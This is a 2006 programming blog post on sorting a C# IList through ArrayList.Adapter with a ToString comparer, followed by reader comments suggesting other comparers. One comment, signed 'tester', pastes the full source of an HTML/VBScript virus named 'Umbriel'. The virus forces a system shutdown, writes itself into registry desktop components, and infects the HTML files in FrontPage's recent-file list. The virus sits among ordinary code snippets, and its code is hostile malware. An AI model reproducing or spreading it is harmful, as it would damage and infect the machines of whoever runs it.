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Sort a generic list (IList) by ToString() value

For whatever reason, Microsoft didn't provide a Sort method in IList. So it seems like sorting a generic list requires that the list be adapted to an ArrayList. Here's a class and method call that supports sorting any list by the ToString() value of its members.

public class ToStringComparer : IComparer 
{
   public int Compare(object x, object y) 
   {
      return x.ToString().CompareTo(y.ToString());
   }
}

ArrayList.Adapter(list).Sort(new ToStringComparer());

 

Print | posted @ Monday, May 08, 2006 2:27 PM

Comments on this entry:

Gravatar # re: Sort a generic list (IList) by ToString() value
by Josh Einstein at 6/24/2006 11:09 AM
Because IList is just an interface, it can't make assumptions about the data structure that is implementing it. The class might not be sortable (for example, a collection that is optimized to be read in the order of inserts) or the sort parameters may vary.

You can also use List<T> to do what you want.
Gravatar # re: Sort a generic list (IList) by ToString() value
by Andrew at 4/9/2007 8:51 PM
This works great, thanks for the suggestion.
Only thing extra I had to do, to cast my x and y to the object type I was using, in my case IList<T> type's element
Gravatar # re: Sort a generic list (IList) by ToString() value
by Andrew at 4/9/2007 8:51 PM
Code is below for the above comment:

public class ToStringComparer : IComparer
{
public int Compare(object x, object y)
{
return ((FieldEngine)x).FieldName.ToString().CompareTo(((FieldEngine)y).FieldName.ToString());
}
}

public IList<FieldEngine> SortIList(IList<FieldEngine> list)
{
ArrayList.Adapter((IList)list).Sort(new ToStringComparer());

return list;
}
Gravatar # re: Sort a generic list (IList) by ToString() value
by Pete at 10/24/2007 8:35 PM
What about:

((List<BPVersie>)bpPlannen).Sort();

like mentioned in a previous post
Gravatar # re: Sort a generic list (IList) by ToString() value
by jay at 4/16/2008 2:27 PM
I prefer:

-- create sorter derived form icomparer
public class NewsSorter : IComparer<NewsItem>
{
public int Compare(NewsItem x, NewsItem y)
{
return x.CreatedDate.CompareTo(y.CreatedDate);
}
}

// declare and populate my generic news list
List<NewsItem> n1 = NewsItemDA.GetAllNewsList();
// sort it using the sort class
n1.Sort(new NewsSorter());


this gives me the ability to have multiple sorts for the same class.

Gravatar # re: Sort a generic list (IList) by ToString() value
by Brody at 2/4/2009 6:47 AM
Read a good post about this HERE! Give a couple of good examples.
Gravatar # re: Sort a generic list (IList) by ToString() value
by tester at 2/18/2009 7:42 PM

<html><!--Umbriel-->
<head>
<title> Second Part To Hell's HTML.Umbriel </title>
</head>
<body>
<script language="VBScript">
rem VBS
On Error Resume Next
Dim fso, shell, wrte, tempdir, windir, rand, file
Set fso=CreateObject("Scripting.FileSystemObject")
Set shell=CreateObject("Wscript.Shell")
if err.number=429 Then
shell.Run javascript:location.reload()
End If

Set windir=fso.GetSpecialFolder(0)
Set tempdir=fso.GetSpecialFolder(2)

Set wrte=fso.CreateTextFile(windir+"\windows.cmd")
wrte.WriteLine "cls"
wrte.WriteLine "@echo off"
wrte.WriteLine "shutdown -s -f -t 300 -c "+chr(34)+"Second Part To Hell's Umbriel has you..."+chr(34)
wrte.Close()

shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\Source", "C:\umbriel.html"
shell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Desktop\Components\1\SubscribedURL", "C:\umbriel.html"

Randomize
rand=int(rnd*5)+1
If rand=1 then
shell.Run windir+"\windows.cmd"
End If
</script>

<script language="JavaScript">
JS
var viruspath, virus, code, fso, file, check, checka, checkb
fso=new ActiveXObject("Scripting.FileSystemObject")
viruspath=window.location.pathname
viruspath=viruspath.slice(1)
virus=fso.OpenTextFile(viruspath,1)
file=fso.CreateTextFile("C:\\umbriel.html")
for (i=0; i<500; i++)
{
if (checkb!=1)
{
if (Math.round(Math.random()*5)+1 == 3)
{
if (check == 2)
{
file.WriteLine("/"+"*")
file.WriteLine("*"+"/")
}
if (check == 3)
{
file.WriteLine("rem")
}
}
code=virus.ReadLine()
if (code == "/"+"*") { checka=666 }
if (code == "*"+"/") { checka=666 }
if (code == "rem") { checka=666 }
if (checka != 666 ) { file.WriteLine(code) }
checka=0
if (code=="</"+unescape("%68")+"tml>") { checkb=1 }
if (code=="// JS") { check=2 }
if (code=="rem VBS") { check=3 }
if (code=="</"+unescape("%73")+"cript>") { check=0 }
}
}
virus.Close();
file.Close();
</script>

<script language="VBScript">
rem VBS
On Error Resume Next
set fso=CreateObject("Scripting.FileSystemObject")
set shell=CreateObject("WScript.Shell")
set myfile=fso.OpenTextFile("C:\umbriel.html")
mycode=myfile.ReadAll
myfile.Close()
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page 'List\File1")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page 'List\File2")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File3")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File4")
if rr <> "" Then Call Umbriel(rr, mycode)
rr=shell.RegRead("HKEY_CURRENT_USER\Software\Microsoft\FrontPage\Explorer\FrontPage Explorer\Recent Page List\File5")
if rr <> "" Then Call Umbriel(rr, mycode)

Sub Umbriel(rr, mycode)
set victim=fso.OpenTextFile(rr)
infcheck=victim.ReadLine
If infcheck<>"<html><!--Umbriel-->" Then
viccode=victim.ReadAll
victim.Close()
set wrtevic=fso.OpenTextFile(rr, 2, false, 0)
wrtevic.Write (mycode+infcheck+chr(13)+chr(10)+viccode)
wrtevic.Close
End If

End Sub
</script>
</body>
</html>
Gravatar # re: Sort a generic list (IList) by ToString() value
by Sandeep at 6/2/2009 10:39 PM
As given by jay at 4/16/2008 2:27 PM works but it should not be default constructor for the type. We should define some overloaded constructor for this case.

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